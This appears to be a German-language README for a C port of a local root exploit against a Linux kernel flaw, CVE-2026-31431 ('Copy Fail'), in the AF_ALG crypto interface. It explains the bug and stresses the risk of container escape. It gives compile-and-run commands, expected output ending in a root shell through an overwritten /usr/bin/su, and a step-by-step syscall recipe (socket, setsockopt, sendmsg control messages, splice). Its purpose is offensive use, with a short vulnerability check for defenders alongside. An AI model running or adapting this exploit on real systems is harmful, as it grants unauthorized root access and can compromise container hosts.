
C-basierter lokaler Privilege-Escalation-Exploit für CVE-2026-31431, eine Schwachstelle im Linux-Kernel in der AF_ALG-Krypto-Schnittstelle, die über die Manipulation des Page Cache Root-Zugriff ermöglicht.
Copy Fail (CVE-2026-31431) — eine logische Schwachstelle im Linux-Kernel, die es einem lokalen, nicht privilegierten Benutzer ermöglicht, seine Rechte auf Superuser-Ebene (root) zu erhöhen. Die Schwachstelle gehört zur Klasse Local Privilege Escalation (LPE), erfordert keine komplexen Ausführungsbedingungen (wie Race Conditions oder Speicheradressen-Raten) und funktioniert "out of the box" auf den meisten Linux-Distributionen, die nach 2017 veröffentlicht wurden.
Dieses Repository enthält einen Port des ursprünglichen Python-Exploits in die Sprache C mit ausführlichen Kommentaren, geeignet für statische Kompilierung und den Einsatz in minimalen Umgebungen.
Die Schwachstelle entsteht durch einen logischen Fehler in der kryptografischen Subsystem des Linux-Kernels, der mit der Verarbeitung von AF_ALG (Schnittstelle der kryptografischen Kernel-API) und dem Mechanismus des Seitencaches (Page Cache) zusammenhängt.
Der Fehler wurde 2017 bei der Hinzufügung einer Optimierung eingeführt, die eine überflüssige Pufferung durch die Ausführung von AEAD-Blockverschlüsselungsoperationen (Authenticated Encryption with Associated Data) an Ort und Stelle (in-place) entfernte. Aufgrund einer fehlerhaften Behandlung der Puffergrenzen im Algorithmus authencesn (Teil der kryptografischen AEAD-Vorlage) kommt es zu einem Schreibzugriff von 4 Bytes über die Grenzen des zugewiesenen Puffers hinaus, was zur Beschädigung der Verwaltungsstrukturen des Seitencaches führt.
Infolgedessen kann der Kernel Daten zurück in den Seitencache einer Datei schreiben, selbst wenn diese nur zum Lesen geöffnet wurde (O_RDONLY).
AF_ALG-Socket und initialisiert den AEAD-Algorithmus authencesn(hmac(sha256),cbc(aes)).setsockopt() werden anomale Parameter gesetzt:
sendmsg() mit Control Messages wird eine Entschlüsselungsoperation initiiert.splice() verschiebt Daten aus der Zieldatei (geöffnet mit O_RDONLY) in den Krypto-Socket.authencesn wird der Seitencache der Datei beschädigt, und die "entschlüsselten" Daten werden zurück in den Cache geschrieben.root-Rechten führt.| Komponente | Beschreibung |
|---|---|
| Linux-Kernel | Alle Versionen von 2017 bis zur Einbeziehung des korrigierenden Patches |
| Subsystem | crypto (Modul algif_aead) |
| Schnittstelle | AF_ALG — Benutzerzugriff auf die Kernel-Krypto-API |
| Systemaufruf | splice() in Verbindung mit AF_ALG-Sockets |
Betroffene Distributionen (bei Verwendung von Kerneln mit geladenem Modul algif_aead):
Besondere Bedeutung: In Container-Umgebungen (Docker, LXC, Kubernetes) ist das Subsystem AF_ALG für Prozesse innerhalb des Containers standardmäßig zugänglich, wenn das Modul algif_aead im Host-Kernel geladen ist. Dies birgt das Risiko einer Verletzung der Container-Isolation und der Erlangung der Kontrolle über den Host-Rechner.
Überprüfung der Schwachstelle:
# Prüfen, ob das Modul algif_aead geladen ist
lsmod | grep algif
# Prüfen, ob AF_ALG im Kernel vorhanden ist
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
Der ursprüngliche Exploit wurde in Python geschrieben (≈732 Bytes). Dieser C-Port hat folgende Besonderheiten:
libz benötigt.strace).recv() — verhindert Hängenbleiben, indem das try/except-Verhalten aus Python nachgeahmt wird.Wichtige Unterschiede zur Python-Version, die beim Portieren festgestellt wurden:
| Parameter | Python | C (dieser Port) |
|---|---|---|
sendmsg()-Flag | MSG_MORE | MSG_MORE |
splice()-Flag | 0 | 0 |
| Offset in Pipe | NULL | NULL |
| Schlüsselgröße | 40 Bytes | 40 Bytes |
cmsg_len | 20/36/20 | 20/36/20 (fest) |
| Pipe-Erstellung | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Blockierend mit try/except | Nicht blockierend (O_NONBLOCK) |
# libz erforderlich (zlib1g-dev oder zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Bei erfolgreichem Exploit wird eine gepatchte Version von /usr/bin/su gestartet, die Root-Zugriff ohne Passwortabfrage gewährt.
Erwartete Ausgabe:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su geöffnet
[+] 40 Chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Nachfolgend finden Sie eine detaillierte Analyse jedes Exploit-Schritts mit Angabe der entsprechenden Systemaufrufe:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Es wird ein Socket für den Zugriff auf die kryptografische Kernel-API erstellt. Der Algorithmus authencesn (Authenticated Encryption with Sequence Numbers) ist ein zusammengesetzter AEAD-Algorithmus, der AES-CBC für die Verschlüsselung und HMAC-SHA256 für die Authentifizierung verwendet.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 Nullen), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 Nullen), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 Nullen)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Für die Operation wird eine Verbindung erstellt. Über sendmsg() mit Control Messages (CMSG) werden die Parameter gesetzt:
ALG_OP_DECRYPT = 0).